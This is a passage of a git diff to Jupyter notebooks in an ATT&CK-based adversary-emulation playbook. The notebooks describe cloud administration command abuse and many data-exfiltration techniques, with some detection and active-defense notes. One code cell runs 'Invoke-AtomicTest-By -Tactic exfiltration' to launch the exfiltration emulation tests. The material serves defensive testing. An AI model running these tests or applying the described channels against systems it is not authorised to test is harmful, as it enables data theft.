function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)" }, { "cell_type": "markdown", - "id": "3d304078", + "id": "cf97da00", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1651.ipynb b/playbook/tactics/execution/T1651.ipynb new file mode 100644 index 00000000..4e11b9be --- /dev/null +++ b/playbook/tactics/execution/T1651.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "d7bd6b49", + "metadata": {}, + "source": "# T1651 - Cloud Administration Command\nAdversaries may abuse cloud management services to execute commands within virtual machines or hybrid-joined devices. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. Similarly, in Azure AD environments, Microsoft Endpoint Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to the Azure AD.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines or on-premises hybrid-joined devices. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)" + }, + { + "cell_type": "markdown", + "id": "bf7ea765", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/exfiltration.ipynb b/playbook/tactics/exfiltration.ipynb index ed4668de..128f0ea5 100644 --- a/playbook/tactics/exfiltration.ipynb +++ b/playbook/tactics/exfiltration.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "43ad0445", + "id": "45194ae7", "metadata": {}, - "source": "# Exfiltration\nThe adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they\u2019ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1020.001 | Traffic Duplication | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.\nT1048.003 | Exfiltration Over Unencrypted Non-C2 Protocol | Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. \nT1048.002 | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol | Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. \nT1048.001 | Exfiltration Over Symmetric Encrypted Non-C2 Protocol | Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). \nT1052.001 | Exfiltration over USB | Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\nT1011.001 | Exfiltration Over Bluetooth | Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\nT1567.002 | Exfiltration to Cloud Storage | Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. \nT1567.001 | Exfiltration to Code Repository | Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. \nT1567 | Exfiltration Over Web Service | Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nT1537 | Transfer Data to Cloud Account | Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) \nT1052 | Exfiltration Over Physical Medium | Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\nT1048 | Exfiltration Over Alternative Protocol | Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) \nT1041 | Exfiltration Over C2 Channel | Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.\nT1030 | Data Transfer Size Limits | An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\nT1029 | Scheduled Transfer | Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).\nT1022 | Data Encrypted | Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)\nT1020 | Automated Exfiltration | Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).\nT1011 | Exfiltration Over Other Network Medium | Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\nT1002 | Data Compressed | An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib." + "source": "# Exfiltration\nThe adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they\u2019ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1567 | Exfiltration Over Web Service | Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nT1567.004 | Exfiltration Over Webhook | Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)\nT1029 | Scheduled Transfer | Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).\nT1011 | Exfiltration Over Other Network Medium | Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\nT1011.001 | Exfiltration Over Bluetooth | Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\nT1020 | Automated Exfiltration | Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).\nT1048.001 | Exfiltration Over Symmetric Encrypted Non-C2 Protocol | Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). \nT1020.001 | Traffic Duplication | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.\nT1567.001 | Exfiltration to Code Repository | Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. \nT1048.002 | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol | Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. \nT1041 | Exfiltration Over C2 Channel | Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.\nT1048 | Exfiltration Over Alternative Protocol | Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).\nT1052.001 | Exfiltration over USB | Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\nT1567.003 | Exfiltration to Text Storage Sites | Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information. \n\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.\nT1567.002 | Exfiltration to Cloud Storage | Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. \nT1030 | Data Transfer Size Limits | An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\nT1537 | Transfer Data to Cloud Account | Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) \nT1052 | Exfiltration Over Physical Medium | Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\nT1048.003 | Exfiltration Over Unencrypted Non-C2 Protocol | Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. " }, { "cell_type": "code", "execution_count": null, - "id": "29f415d8", + "id": "88103c5c", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic exfiltration" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1002.ipynb b/playbook/tactics/exfiltration/T1002.ipynb deleted file mode 100644 index 010fd255..00000000 --- a/playbook/tactics/exfiltration/T1002.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "ca937e8e", - "metadata": {}, - "source": "# T1002 - Data Compressed\nAn adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib." - }, - { - "cell_type": "markdown", - "id": "8df9deae", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "b460f6a2", - "metadata": {}, - "source": "## Detection\nCompression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/exfiltration/T1011.001.ipynb b/playbook/tactics/exfiltration/T1011.001.ipynb index f1e39adc..57b6ba87 100644 --- a/playbook/tactics/exfiltration/T1011.001.ipynb +++ b/playbook/tactics/exfiltration/T1011.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a5ebe5e9", + "id": "2a922e82", "metadata": {}, "source": "# T1011.001 - Exfiltration Over Bluetooth\nAdversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network." }, { "cell_type": "markdown", - "id": "2c8e7d39", + "id": "55824e19", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "28213f25", + "id": "065b3e25", "metadata": {}, "source": "## Detection\nMonitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1011.ipynb b/playbook/tactics/exfiltration/T1011.ipynb index cd6b56d7..9220cc8b 100644 --- a/playbook/tactics/exfiltration/T1011.ipynb +++ b/playbook/tactics/exfiltration/T1011.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "c0d121fc", + "id": "17919ce9", "metadata": {}, "source": "# T1011 - Exfiltration Over Other Network Medium\nAdversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network." }, { "cell_type": "markdown", - "id": "a1dffdbf", + "id": "35064456", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "6dd8f019", + "id": "69a61fac", "metadata": {}, "source": "## Detection\nMonitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces." }, { "cell_type": "markdown", - "id": "8c8a4f28", + "id": "f58c5fa8", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to implement security controls to support your defensive objectives over a prolonged engagement.\n#### Use Case\nA defender can prevent an adversary from enabling Wi-Fi or Bluetooth interfaces which could be connected to surrounding access points or devices and used for exfiltration.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1020.001.ipynb b/playbook/tactics/exfiltration/T1020.001.ipynb index 8982cabd..b482268d 100644 --- a/playbook/tactics/exfiltration/T1020.001.ipynb +++ b/playbook/tactics/exfiltration/T1020.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "311016dc", + "id": "c73605b6", "metadata": {}, - "source": "# T1020.001 - Traffic Duplication\nAdversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary." + "source": "# T1020.001 - Traffic Duplication\nAdversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or 